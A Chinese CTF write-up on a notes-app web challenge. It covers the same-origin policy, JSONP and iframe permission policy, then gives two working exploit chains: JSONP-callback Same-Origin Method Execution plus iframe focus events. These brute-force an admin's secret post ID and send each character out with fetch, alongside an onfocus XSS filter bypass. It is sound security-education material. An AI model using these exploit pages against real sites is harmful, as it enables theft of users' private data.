前言
很难的题，也是很有趣的题
这题要用到的一些知识点
提前要了解的一些东西
关于同源策略
同源策略具体可以参见文档
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
这里主要介绍下 跨源脚本 API 访问
允许以下对
Window属性的跨源访问：
方法 window.blurwindow.closewindow.focuswindow.postMessage
属性 window.closed只读。 window.frames只读。 window.length只读。 window.location读/写。 window.opener只读。 window.parent只读。 window.self只读。 window.top只读。 window.window只读。 某些浏览器允许访问除上述外更多的属性。
允许以下对
Location属性的跨源访问：
方法 location.replace
属性 HTMLAnchorElement.href只写。 某些浏览器允许访问除上述外更多的属性。
window 对象表示的就是当前页面，字面意思，是 “根”
可以发现 window 对象的 opener top location frames focus() 等关键属性和方法我们都是可以跨域访问的，这就为我们后面解题提供了依据。
注意：像上面的那些属性和方法都是 window对象下的，意味着他们都是全局属性或全局方法，即可以类似这样直接访问，不需要使用 window. 来操作
//将window.location赋值为http://example.com，即重定向跳转到http://example.com
location = "http://example.com";
//获取到当前页面中name为test的iframe对象
let testIframe = window['test'];
//或
let testIframe = window.frames[0];//获取第0个iframe对于上面的 opener 属性也很有趣，它指向当前窗口的打开者。
即 A 页面使用 open 方法打开了 B 页面，那么 B 页面的 opener 就指向了 A 页面的 window
注意：opener指向的是页面窗口，也就是说你页面的URL再怎么变，opener是不变的
同样，对于 opener 对象内容的访问也要遵循同源策略
关于jsonp
jsonp的出现是为了解决一些前端的跨域问题。现浏览器一般情况下都要遵循同源策略，所以跨域传输数据就会比较麻烦，所以出现了jsonp这种东西，相关文档参考 https://zhuanlan.zhihu.com/p/24390509
简单来说下，就是像<script> 标签是支持跨域的，所以利用 <script> 标签来跨域获取到要执行的方法和参数，前端将获取到的方法和参数添加到 html 的 script 标签中从而解决跨域问题。而这里要说的题就是利用jsop跨域来进行 Same Orign Method Execution Attack （同源方法执行攻击）
SOME（Same Orign Method Execution）同源方法执行
这里大力推荐这篇论文，讲的非常详细
这里大致说一下是怎么个回事
比如我前端要跨域获取一些数据，于是我前端可以这样写
<html>
<body>
<a href="javascript:alert('hack')">hack</a>
<script>
function load_data(data) {
console.log(data['data']);
}
let callback = new URLSearchParams(window.location.search).get('callback');
let script = document.createElement("script");
script.src = "http://otherSite.com/endpoint?callback=" + callback;
document.head.appendChild(script);
</script>
</body>
</html>我们访问 http://example.com/?callback=load_data
后端 http://otherSite.com/endpoint?callback=load_data 访问返回了这样的数据
load_data({"data":"data"})那么利用jsonp在 http://example.com/ 成功跨获取到了 http://otherSite.com/ 这个域的数据，并执行 load_data 方法在控制台打印出结果。但如果我们把 callback 的参数改成其他方法，不就可以在前端执行一些方法了吗，虽然一般返回的方法内有参数，但像类似 点击、表单提交、表单输入值篡改等JavaScript 函数，（例如 element.click()、privateForm.submit()、inputElement.stepUp/stepDown()、element.select()、element.focus ()、JsDefinedFunction()、jQueryFunc()等，这些方法给他参数他也能正常执行。
像上面的例子，我们如果发送这样的url
http://example.com/?callback=document.body.firstChild.click
那么就会发现成功点击了 <a> 标签从而弹窗 “hack”
XHR
用法不过多做介绍，这里附上参考文档
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest
这里说一些比较少见东西，就是在什么情况下会其 open 方法会报错，发现主要有以下几种情况
- 传递给第一个参数 (请求方法) 的值不是有效的 HTTP 方法（例如 “GET”, “POST” 等）。
- 传递给第二个参数 (请求 URL) 的值不是有效的 URL。
- 传递给第三个参数 (是否异步) 的值不是一个布尔值。
- 使用了特征策略
sync-xhr 'none'禁止了xhr api
关于上面第二条不是有效的 URL 可能有以下几种情况：
- 不符合 URL 格式，例如缺少协议部分 (http:// 或 https://) 或者域名部分。
- 使用非法字符
- 使用不正确的编码，例如使用百分号编码的字符不符合 UTF-8 格式。
- 使用无效的端口号，例如端口号小于 0 或大于 65535。
例：
// 使用非法字符如中间加入空格，%00等
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.ex ample.com");
xhr.send()//在send时报错
// 使用不正确的编码
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.example.com/%00");//在open时就会报错
xhr.send()
// 使用无效的端口号
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.example.com:70000");//在open时就会报错
xhr.send()iframe与特征策略
iframe参考文档
https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe
有关iframe的一些黑魔法
https://blog.huli.tw/2022/04/07/iframe-and-window-open/
iframe 就是新开了一个页面，iframe的父子窗口之间使用js交互同样必须遵循 同源策略，若想跨域操作可以用 postMessage
iframe有个 allow 属性，用于为<iframe>指定其 特征策略 ，所以我们完全可以限制iframe页面的一些功能，像可以禁掉其中的一些api，比如 xhr。
题目分析
尝试csrf（失败的方案）
好了，说了这么多终于要回到正题了。
题目给了源码，是一个简单的 expressjs 笔记存储服务，源码很长，需要慢慢审。这里说下关键的地方
首先xssbot是以admin登录后访问我们给的url，没啥好说的。
后端有这么几个路由
app.get("/login/", mw.requiresNoLogin, (req, res) => res.render("login"));
app.get("/register/", mw.requiresNoLogin, (req, res) => res.render("register"));
app.get("/report/", mw.requiresLogin, (req, res) => res.render("report"));
app.get("/post/", (req, res) => res.render("post"));
app.get("/", (req, res) => res.render("home"));可以发现 / 和/post/ 者两个页面没有校验 csrftoken和登录情况。
db.js 中
(() => {
let flagId = crypto.randomUUID();
console.log(`flag post ID: ${flagId}`);
posts.set(flagId, {
name: "Flag",
body: process.env.FLAG || "flag{test_flag}"
});
users.set("admin", Object.freeze({
user: "admin",
pass: sha256(process.env.ADMIN_PASSWORD || "password"),
posts: Object.freeze([flagId]),
todos: Object.freeze([])
}));flag对应着post id
所以只要我们知道对应的post id就可以通过 /post/ 路由不用登录直接拿到flag。
同时在 /create/post 路由中
router.post("/create/todo", [mw.csrfProtection, mw.requiresLogin], (req, res) => {
let { text } = req.body;
if (!text) {
return res.redirect("/?msg=Missing text");
}
if (typeof text !== "string") {
return res.redirect("/?msg=Missing text");
}
let isURL = false;
try {
new URL(text); // errors if not valid URL
isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
} catch {}
req.user.todos.push({
text, isURL
});
res.redirect("/");
});可以看到对传来的text进行了过滤，拦截了以 javascript: 开头的 text
这里对应前端 home.ejs
<%_ user.todos.forEach(todo => { _%>
<%_ if (todo.isURL) { _%>
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
<%_ } else { _%>
<li class="has-text-left"><%= todo.text %></li>
<%_ } _%>
<%_ }); _%>这里的绕过也很容易，给出这样的payload即可绕过
http://a? onfocus=alert(123) id=xnew URL("http://a? onfocus=alert(123) id=x") 不会报错
之后访问 http://localhost:12345/#x 获取到id为x的焦点事件即可xss
但是，注意，这个点在这题并用不上。
首先题目使用了csrftoken，所以没法直接利用CSRF让xssbot向/api/create/todo 发送对应的xss payload来达到目的，其次还有重要的一点是这里
// Don't allow admin to make new posts / todos
router.use((req, res, next) => {
if (req.user.user === "admin") {
return res.redirect("/?msg=Nice try");
}
next();
});直接限制死了admin不可能向 /api/create/post 和 /api/create/todo 发送数据。
所以走csrf这条路是不行了。
利用 SOEM ATTACK 窃取post id
注意前端 post.ejs
window.onload = function() {
const id = new URLSearchParams(window.location.search).get('id');
if (!id) {
return;
}
// Load post from POST_SERVER
// Since POST_SERVER might be a different origin, this also supports loading data through JSONP
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}
load_post(JSON.parse(request.responseText));
}这里可以发现，如果 try 捕获到了异常，就会使用 jsonp 技术来获取post相关信息。
后端处理
router.get("/post/:id", (req, res) => {
let { id } = req.params;
if (!id || typeof id !== "string") {
return res.jsonp({
success: false,
error: "Missing id"
});
}
if (!db.posts.has(id)) {
return res.jsonp({
success: false,
error: "No post found with that id"
});
}
let post = db.posts.get(id);
return res.jsonp({
success: true,
name: post.name,
body: post.body
});
});但前端 post.ejs 中的 POST_SERVER 定死了，我们没法去修改它。
所以可以考虑从查询参数 id 中入手，想办法让我们随心修改 callback 参数从而实现 SOME 攻击。
这里解决的点有两个
- 让
open或send方法出错从而让我们可以使用jsonp - 要截获 url 查询参数中的 callback 参数
解决这两个点有两种不同的方案
方案一
思路来自 https://sh1yo.art/ctf/thecultof8bit/
上文说过，我们可以利用 %00 来让 open 方法报错
像这样的链接
http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%00这个链接经过
const id = new URLSearchParams(window.location.search).get('id');提取得到
22121be0-5a1f-4cd7-be2d-be073a0cac22\x00最终经过 encodeURIComponent(id) 方法进行url编码后再拼接就成了
/api/post/22121be0-5a1f-4cd7-be2d-be073a0cac22%00这个url放到 open 方法中正好是会报错的，解决了第一个点。
对于第二个点可以这样构造
http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23%00不过多解释了，看图就明白了
这样我们就可以随便控制 callback 参数来实现 SOME 攻击了。
方案二
思路来自 https://blog.maple3142.net/2023/01/08/real-world-ctf-2023-writeups/#the-cult-of-8-bit
这个思路也很巧妙
上文也说过，iframe可以通过 allow属性来设置一些特征策略，其中包括了 sync-xhr策略，可以在iframe中加载
http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23同时设置其 allow="sync-xhr 'none'" 来禁用 xhr，使得try捕获异常从而跳转使用jsonp访问
这里截获 callback 参数同上，原理是一样的。
test2.html
<html>
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src = "http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23";
iframe.allow = "sync-xhr 'none'";
document.body.appendChild(iframe);
</script>
</body>
</html>
上面两个方案之后的操作都是配合 SOME 攻击，利用 focus 事件 + iframe来逐位爆破post id。详细见下文题解。
题解
下文用到的知识点是SOME ATTACK，强烈建议先看论文 https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf
方案一
紧接着上文方案一，我们创建4个html文件
注意location虽然变了，但opener是不变的
a.html
<script>
open("/b.html");//打开b.html
location="http://localhost:12345/";//重定向到admin的主页面（含有post id）
</script>a.html负责打开 /b.html 和将自身页面重定向到 http://localhost:12345/
b.html
<a id="default" href="#">default</a><!--默认聚焦点-->
<script>
//生成对应的iframe
//post id是uuid，范围是 0-9 a-f 和 -
var charList = "0123456789abcdef-";//注意把数字放前面，应为window['4']和window[4]是一样的
var resId = "";
charList.split('').forEach(name => createIframe(name));
function createIframe(name) {
let tmpIframe = document.createElement('iframe');
tmpIframe.name = name;//为iframe设置name属性
document.body.appendChild(tmpIframe);
}
//监听焦点变化
function listenFocus() {
let activeFocusName = document.activeElement.name;
if(activeFocusName) {//若监听到iframe焦点
resId += activeFocusName;
document.getElementById("default").focus();//初始化焦点
fetch(`/res/${resId}`);
}
}
setInterval(listenFocus, 100);
open("/c.html");
</script>b.html 负责创建 0123456789abcdef- 每个字符的iframe页面，同时创建焦点监听器监听焦点情况，如果监听到某个iframe的焦点则发送该iframe的name。之后打开 /c.html。注意 b.html 的 opener 指向 a页面(http://localhost:12345/)
c.html
<script>
open("/d.html");
//执行回调函数的页面
location="http://localhost:12345/"
</script>c.html页面的 location受 d.html 页面控制，是个自由页面，用于执行SOME攻击。注意c.html 的 opener 指向 b.html
d.html
<script>
const selfPostId = "6202f8a2-463d-4754-9675-eecde65b619c";//自己页面随便给个postid
var host = "http://localhost:12345";
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function main() {
for(let i = 0; i < 36; i++) {
let payload = `opener[opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].text[${i}]].focus`;
opener.location = `${host}/post/?id=${selfPostId}?callback=${payload}%23%00`;
await sleep(200);//时间根据情况调整
}
}
setTimeout(main, 500);//等待所有页面加载完整后启动主程序
</script>注意 d.html 的 opener 指向 c页面。该页面的为主启动页面，利用多级opener，结合SOME攻击和focus事件逐位爆破a页面的post id。
4个页面放服务器上，之后向xss bot发送 http://192.168.1.3:8000/a.html 爆破即可
方案二
接上文题目分析的方案二
需要两个页面
index.html
<script>
open('/exp.html');
location = 'http://localhost:12345/';
</script>exp.html
<a id="default" href="#">default</a>
<script>
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
const selfId = "0780dd9c-e326-4786-ad80-e0e9d032cb4a";//自己给个存在的post id
const host = "http://localhost:12345";//题目地址
const charList = "0123456789abcdef-";
var resId = "";
function createCharIframe(name) {
var tmpIframe = document.createElement('iframe');
tmpIframe.name = name;
document.body.appendChild(tmpIframe);
}
charList.split('').forEach(name => createCharIframe(name));
(function createChallengeIframe() {
var challengeIframe = document.createElement('iframe');
challengeIframe.name = "challenge";
challengeIframe.src = host;
challengeIframe.allow = "sync-xhr 'none'";//使用特征策略禁止xhr
document.body.appendChild(challengeIframe);
})();
async function exploit() {
var challenge = window['challenge'];
for(let i = 0; i < 36; i++) {
//payload
let payload = `top[top.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].text[${i}]].focus`;
challenge.location = `${host}/post/?id=${selfId}%3Fcallback=${payload}%23`;
await sleep(200);//时间根据情况调整
}
}
//监听焦点变化
function listenFocus() {
var activeFocusName = document.activeElement.name;
if(activeFocusName) {//若监听到iframe焦点
resId += activeFocusName;
document.getElementById("default").focus();//初始化焦点
fetch(`/res/${resId}`);
}
}
setInterval(listenFocus, 100);
exploit();
</script>同样是利用 SOME ATTACK 和iframe的focus事件来爆破post id。
上述两个方案的题解中有关同源策略的问题可以自己体会体会。
参考链接
https://sh1yo.art/ctf/thecultof8bit/
https://blog.maple3142.net/2023/01/08/real-world-ctf-2023-writeups/#the-cult-of-8-bit
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Permissions_Policy
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/opener
https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest